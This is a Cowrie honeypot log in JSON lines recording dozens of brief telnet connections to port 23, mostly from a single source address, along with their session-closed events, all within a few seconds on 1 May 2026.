{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60940,"dst_ip":"159.203.135.109","dst_port":23,"session":"016f71e9831b","protocol":"telnet","message":"New connection: 204.10.38.242:60940 (159.203.135.109:23) [session: 016f71e9831b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:06.270474Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38398,"dst_ip":"159.203.135.109","dst_port":23,"session":"7594b683c51e","protocol":"telnet","message":"New connection: 204.10.38.242:38398 (159.203.135.109:23) [session: 7594b683c51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:06.336008Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:07.048031Z","src_ip":"80.94.92.182","session":"37a7efa8e466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44156,"dst_ip":"159.203.135.109","dst_port":23,"session":"433dbd6b4700","protocol":"telnet","message":"New connection: 204.10.38.242:44156 (159.203.135.109:23) [session: 433dbd6b4700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:07.458738Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45670,"dst_ip":"159.203.135.109","dst_port":23,"session":"dea935c1a2ab","protocol":"telnet","message":"New connection: 204.10.38.242:45670 (159.203.135.109:23) [session: dea935c1a2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:07.743960Z"}
{"eventid":"cowrie.session.closed","duration":31.087905645370483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:08.093466Z","src_ip":"204.10.38.242","session":"09acfa15a5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47292,"dst_ip":"159.203.135.109","dst_port":23,"session":"8df9c9567c98","protocol":"telnet","message":"New connection: 204.10.38.242:47292 (159.203.135.109:23) [session: 8df9c9567c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:08.160153Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfad3094b45","protocol":"telnet","message":"New connection: 204.10.38.242:50496 (159.203.135.109:23) [session: 6cfad3094b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:08.720299Z"}
{"eventid":"cowrie.session.closed","duration":36.021430253982544,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:09.400047Z","src_ip":"204.10.38.242","session":"32e48cfe3efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38920,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fab0016daf4","protocol":"telnet","message":"New connection: 204.10.38.242:38920 (159.203.135.109:23) [session: 4fab0016daf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:09.460420Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5512cd6f7d76","protocol":"telnet","message":"New connection: 204.10.38.242:49318 (159.203.135.109:23) [session: 5512cd6f7d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:09.486546Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55830,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3b5387e25e","protocol":"telnet","message":"New connection: 204.10.38.242:55830 (159.203.135.109:23) [session: bf3b5387e25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:09.910674Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6270017991c","protocol":"telnet","message":"New connection: 204.10.38.242:56044 (159.203.135.109:23) [session: e6270017991c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:09.982303Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56296,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab796894d4c4","protocol":"telnet","message":"New connection: 204.10.38.242:56296 (159.203.135.109:23) [session: ab796894d4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.079717Z"}
{"eventid":"cowrie.session.closed","duration":30.421147346496582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.144950Z","src_ip":"204.10.38.242","session":"b6a89deca5b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57106,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6cf4f4052e","protocol":"telnet","message":"New connection: 204.10.38.242:57106 (159.203.135.109:23) [session: 4a6cf4f4052e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.316648Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5653c4a5c9","protocol":"telnet","message":"New connection: 204.10.38.242:57726 (159.203.135.109:23) [session: ad5653c4a5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.389671Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59826,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dbfefe9fdbd","protocol":"telnet","message":"New connection: 204.10.38.242:59826 (159.203.135.109:23) [session: 4dbfefe9fdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.792744Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67d3093186e","protocol":"telnet","message":"New connection: 204.10.38.242:60568 (159.203.135.109:23) [session: c67d3093186e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:10.971755Z"}
{"eventid":"cowrie.session.closed","duration":30.778484582901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:11.232658Z","src_ip":"204.10.38.242","session":"cfc49034b9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33832,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf89ac3ba5c","protocol":"telnet","message":"New connection: 204.10.38.242:33832 (159.203.135.109:23) [session: 8cf89ac3ba5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:11.308939Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e13aa04fd71f","protocol":"telnet","message":"New connection: 204.10.38.242:34934 (159.203.135.109:23) [session: e13aa04fd71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:11.454635Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36696,"dst_ip":"159.203.135.109","dst_port":23,"session":"763c26b5c470","protocol":"telnet","message":"New connection: 204.10.38.242:36696 (159.203.135.109:23) [session: 763c26b5c470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:11.829328Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37314,"dst_ip":"159.203.135.109","dst_port":23,"session":"19513d264506","protocol":"telnet","message":"New connection: 204.10.38.242:37314 (159.203.135.109:23) [session: 19513d264506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:12.003211Z"}
{"eventid":"cowrie.session.closed","duration":30.803465127944946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:12.102127Z","src_ip":"204.10.38.242","session":"bc2f7bdb825d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60936,"dst_ip":"159.203.135.109","dst_port":23,"session":"017ce5965021","protocol":"telnet","message":"New connection: 185.26.126.47:60936 (159.203.135.109:23) [session: 017ce5965021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:12.720319Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d748c53043","protocol":"telnet","message":"New connection: 204.10.38.242:43104 (159.203.135.109:23) [session: 08d748c53043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:13.234040Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44440,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cbe65af217","protocol":"telnet","message":"New connection: 204.10.38.242:44440 (159.203.135.109:23) [session: 62cbe65af217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:13.441982Z"}
{"eventid":"cowrie.session.closed","duration":30.387904405593872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:14.173336Z","src_ip":"204.10.38.242","session":"7ff666829e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7139bd7ded9","protocol":"telnet","message":"New connection: 204.10.38.242:48596 (159.203.135.109:23) [session: d7139bd7ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:14.319311Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49384,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5848fabac6","protocol":"telnet","message":"New connection: 204.10.38.242:49384 (159.203.135.109:23) [session: 5e5848fabac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:14.420318Z"}
{"eventid":"cowrie.session.closed","duration":8.362128973007202,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:14.556261Z","src_ip":"185.26.126.47","session":"ad7039815253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52328,"dst_ip":"159.203.135.109","dst_port":23,"session":"648053bbc997","protocol":"telnet","message":"New connection: 204.10.38.242:52328 (159.203.135.109:23) [session: 648053bbc997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:15.024672Z"}
{"eventid":"cowrie.session.closed","duration":31.0314621925354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:15.050654Z","src_ip":"204.10.38.242","session":"e1288830fcb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53577709197998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:15.080244Z","src_ip":"204.10.38.242","session":"e293ff86a76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706230401992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:15.193048Z","src_ip":"204.10.38.242","session":"6dc68d3b26df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55190,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7f2fbb713d5","protocol":"telnet","message":"New connection: 204.10.38.242:55190 (159.203.135.109:23) [session: e7f2fbb713d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:15.550994Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54210,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc200f6aee72","protocol":"telnet","message":"New connection: 204.10.38.242:54210 (159.203.135.109:23) [session: dc200f6aee72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:16.394179Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c007185eef","protocol":"telnet","message":"New connection: 204.10.38.242:59976 (159.203.135.109:23) [session: 39c007185eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:16.483445Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60006,"dst_ip":"159.203.135.109","dst_port":23,"session":"8696153e0a6c","protocol":"telnet","message":"New connection: 204.10.38.242:60006 (159.203.135.109:23) [session: 8696153e0a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:16.628590Z"}
{"eventid":"cowrie.session.closed","duration":31.012197256088257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:16.792873Z","src_ip":"204.10.38.242","session":"8494c79b7c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780192852020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:17.140135Z","src_ip":"204.10.38.242","session":"324fe472c3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71737265586853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:17.145063Z","src_ip":"204.10.38.242","session":"1670f8b43f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.269805431365967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:17.199824Z","src_ip":"204.10.38.242","session":"bd4e8aa7536b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18881058692932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:17.380502Z","src_ip":"204.10.38.242","session":"5413d41dd13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.470160484313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.047181Z","src_ip":"204.10.38.242","session":"d785f309f89c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15556764602661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.054199Z","src_ip":"204.10.38.242","session":"2edce3527bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82689356803894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.123255Z","src_ip":"204.10.38.242","session":"893d9316e32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817545890808105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.129464Z","src_ip":"204.10.38.242","session":"4c7c4ade3c46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77938175201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.250539Z","src_ip":"204.10.38.242","session":"f7b574745fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613540410995483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:18.385066Z","src_ip":"204.10.38.242","session":"43026678509c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33428978919983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:19.429172Z","src_ip":"204.10.38.242","session":"a48c8eea2100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.818678855895996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:19.857304Z","src_ip":"204.10.38.242","session":"2477d4c8cb0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325007438659668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.118044Z","src_ip":"204.10.38.242","session":"ef55e2786445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878471851348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.162594Z","src_ip":"204.10.38.242","session":"ac4867b39ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1742045879364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.213453Z","src_ip":"204.10.38.242","session":"51edd24518fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50328,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ad649dcca9","protocol":"telnet","message":"New connection: 204.10.38.242:50328 (159.203.135.109:23) [session: 57ad649dcca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.417810Z"}
{"eventid":"cowrie.session.closed","duration":31.001514434814453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.436554Z","src_ip":"204.10.38.242","session":"ab1ddbc1fab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50752,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48909e60ebd","protocol":"telnet","message":"New connection: 204.10.38.242:50752 (159.203.135.109:23) [session: d48909e60ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:20.471423Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53216,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fb6533ecd44","protocol":"telnet","message":"New connection: 204.10.38.242:53216 (159.203.135.109:23) [session: 4fb6533ecd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:21.057860Z"}
{"eventid":"cowrie.session.closed","duration":31.232792377471924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:21.164838Z","src_ip":"204.10.38.242","session":"12ef1f9cf001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638375520706177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:21.184386Z","src_ip":"204.10.38.242","session":"21696eeb941f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636852741241455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:22.073537Z","src_ip":"204.10.38.242","session":"e6bff61b4865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.217889547348022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:22.078454Z","src_ip":"204.10.38.242","session":"6043436426d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"40c9a0d1ad3f","protocol":"telnet","message":"New connection: 204.10.38.242:58820 (159.203.135.109:23) [session: 40c9a0d1ad3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:22.352131Z"}
{"eventid":"cowrie.session.closed","duration":31.420552730560303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:22.396472Z","src_ip":"204.10.38.242","session":"505d9e62e66a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59576,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86873ee21f6","protocol":"telnet","message":"New connection: 204.10.38.242:59576 (159.203.135.109:23) [session: f86873ee21f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:22.424703Z"}
{"eventid":"cowrie.session.closed","duration":31.188905000686646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.141448Z","src_ip":"204.10.38.242","session":"a9d7c6cfecb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7891628742218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.243929Z","src_ip":"204.10.38.242","session":"3c5bcaf1c199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960625648498535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.253369Z","src_ip":"204.10.38.242","session":"3e9bd1ec6fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698440551757812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.279216Z","src_ip":"204.10.38.242","session":"0aeb22439016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35028,"dst_ip":"159.203.135.109","dst_port":23,"session":"75795be64e27","protocol":"telnet","message":"New connection: 204.10.38.242:35028 (159.203.135.109:23) [session: 75795be64e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.284517Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37204,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16074d96fd5","protocol":"telnet","message":"New connection: 204.10.38.242:37204 (159.203.135.109:23) [session: f16074d96fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:23.618575Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35744,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a182645e69","protocol":"telnet","message":"New connection: 204.10.38.242:35744 (159.203.135.109:23) [session: 13a182645e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:24.403443Z"}
{"eventid":"cowrie.session.closed","duration":30.66647171974182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:25.191088Z","src_ip":"204.10.38.242","session":"4d62f68a6fce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44642,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e69b3a420d9","protocol":"telnet","message":"New connection: 204.10.38.242:44642 (159.203.135.109:23) [session: 8e69b3a420d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:25.341037Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44748,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb79d31fb876","protocol":"telnet","message":"New connection: 204.10.38.242:44748 (159.203.135.109:23) [session: cb79d31fb876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:25.354057Z"}
{"eventid":"cowrie.session.closed","duration":31.35063362121582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:25.660527Z","src_ip":"204.10.38.242","session":"246a08c7318d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780351877212524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:26.095666Z","src_ip":"204.10.38.242","session":"af53d98962a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49850,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d676f97073b","protocol":"telnet","message":"New connection: 204.10.38.242:49850 (159.203.135.109:23) [session: 6d676f97073b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:26.470704Z"}
{"eventid":"cowrie.session.closed","duration":31.155258893966675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:26.716942Z","src_ip":"204.10.38.242","session":"43abfc00dfd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"4846ef30484c","protocol":"telnet","message":"New connection: 204.10.38.242:51488 (159.203.135.109:23) [session: 4846ef30484c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:26.822996Z"}
